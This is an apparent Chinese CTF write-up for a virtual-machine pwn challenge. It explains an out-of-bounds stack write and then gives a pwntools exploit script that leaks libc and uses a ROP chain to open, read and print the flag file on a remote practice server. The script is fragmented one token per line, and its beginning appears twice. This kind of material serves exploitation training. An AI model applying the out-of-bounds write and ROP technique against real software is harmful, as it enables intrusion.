这道题就是弄了一个虚拟机,然后根据输入的code, 执行相应的操作
我的理解是 相当于在函数栈里伪造一个虚拟栈,又伪造了栈顶指针,然后在这个虚拟栈里你可以进行一些操作,如add(将栈顶两个元素相加),push,pop等,然后有时候由于检验不当,就会造成越界,导致原本操作只是在虚拟栈里变成了可以影响实际函数栈的数据,相当于可以劫持RBP,RET,如果能做到这一步,接下来就是常规的ROP了
这是add指令,stack[r_sp+1000]就相当于栈顶

push指令更好理解

注意到下面这两处

这两个指令意思相差不多,都可以越界写,我们以第一个指令为例子
这里的 v31 = buf[buf_index] ,而buf[buf_index]是我们自己控制的,也就相当于我们可以控制
stack[v31 +999]指向任意地址处,因为c语言中并不会对数组越界进行检查,我们大可以构造如stack[5000] 或者 stack[-5000],就可以通过算偏移得出stack[num]中的num(stack一个元素为四个字节大小),然后stack[r_sp + 1000] 是栈顶数据,我们可以通过push指令给它赋任意值
综上,我们就可以往任意地址写任意数据,通过调试我们就可以得到实际函数栈中的RET地址距stack[]的偏移,从而我们可以覆盖RET,实现ROP,从而get shell或者orw
脚本的重点是
stack函数中的1007就是调试出来的偏移,9是push指令,12是越界写,由于一次只能写4字节,所以得分两次写
from
pwn
import
*
context(os
=
'linux'
,arch
=
'amd64'
,log_level
=
'debug'
)
r
=
remote(
"node3.buuoj.cn"
,
27223
)
elf
=
ELF(
'./hh'
)
pop_rdi
=
0x4011A3
main
=
0x000000000401084
buf
=
0x602060
read
=
0x0000000000400710
pop_rsi_r15
=
0x0000000004011A1
puts_plt
=
0x4006f0
puts_got
=
0x601FA8
start
=
0x400750
def
code(cod):
out1
=
b''
for
i
in
cod:
out1
+
=
p32(i)
return
out1
def
stack(buf):
out2
=
b''
for
i
in
range
(
len
(buf)):
out2
+
=
code([
9
, buf[i]&
0xffffffff
,
12
, i
*
2
+
1007
,
9
, buf[i] >>
32
,
12
, i
*
2
+
1008
])
return
out2
r.recvuntil(
"choice :"
)
r.sendline(
'1'
)
r.recvuntil(
"code:"
)
payload1
=
stack([pop_rdi,puts_got,puts_plt,start])
r.send(payload1)
r.recvuntil(
"choice :"
)
r.sendline(
'2'
)
r.recv()
libc_base
=
u64(r.recvline()[:
-
1
].ljust(
8
, b
'\x00'
))
-
0x06f6a0
log.info(
hex
(libc_base))
open_addr
=
libc_base
+
0xF70F0
r.recvuntil(
"choice :"
)
r.sendline(
'1'
)
r.recvuntil(
"code:"
)
payload1
=
code([
6
,
4
,
0x67616c66
,
0
])
+
stack([pop_rdi, buf
+
8
, open_addr ,start])
r.send(payload1)
r.recvuntil(
"choice :"
)
r.sendline(
'2'
)
r.recvuntil(
"choice :"
)
r.sendline(
'1'
)
r.recvuntil(
"code:"
)
payload1
=
stack([pop_rdi ,
3
, pop_rsi_r15 , buf
+
0x500
,
0
, read , start])
r.send(payload1)
r.recvuntil(
"choice :"
)
r.sendline(
'2'
)
r.recvuntil(
"choice :"
)
r.sendline(
'1'
)
r.recvuntil(
"code:"
)
payload1
=
stack([pop_rdi , buf
+
0x500
, puts_plt , start])
r.send(payload1)
r.recvuntil(
"choice :"
)
r.sendline(
'2'
)
r.recv()
r.interactive()
from
pwn
import
*
context(os
=
'linux'
,arch
=
'amd64'
,log_level
=
'debug'
)
r
=
remote(
"node3.buuoj.cn"
,
27223
)
elf
=
ELF(
'./hh'
)
pop_rdi
=
0x4011A3
main
=
0x000000000401084
buf
=
0x602060
read
=
0x0000000000400710
pop_rsi_r15
=
0x0000000004011A1
puts_plt
=
0x4006f0
puts_got
=
0x601FA8
start
=
0x400750
def
code(cod):
out1
=
b''
for
i
in
cod:
out1
+
=
p32(i)
return
out1
def
stack(buf):
out2
=
b''
for
i
in
range
(
len
(buf)):
out2
+
=
code([
9
, buf[i]&
0xffffffff
,
12
, i
*
2
+
1007
,
9
, buf[i] >>
32
,
12
, i
*
2
+
1008
])
return
out2
r.recvuntil(
"choice :"
)
r.sendline(
'1'
)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课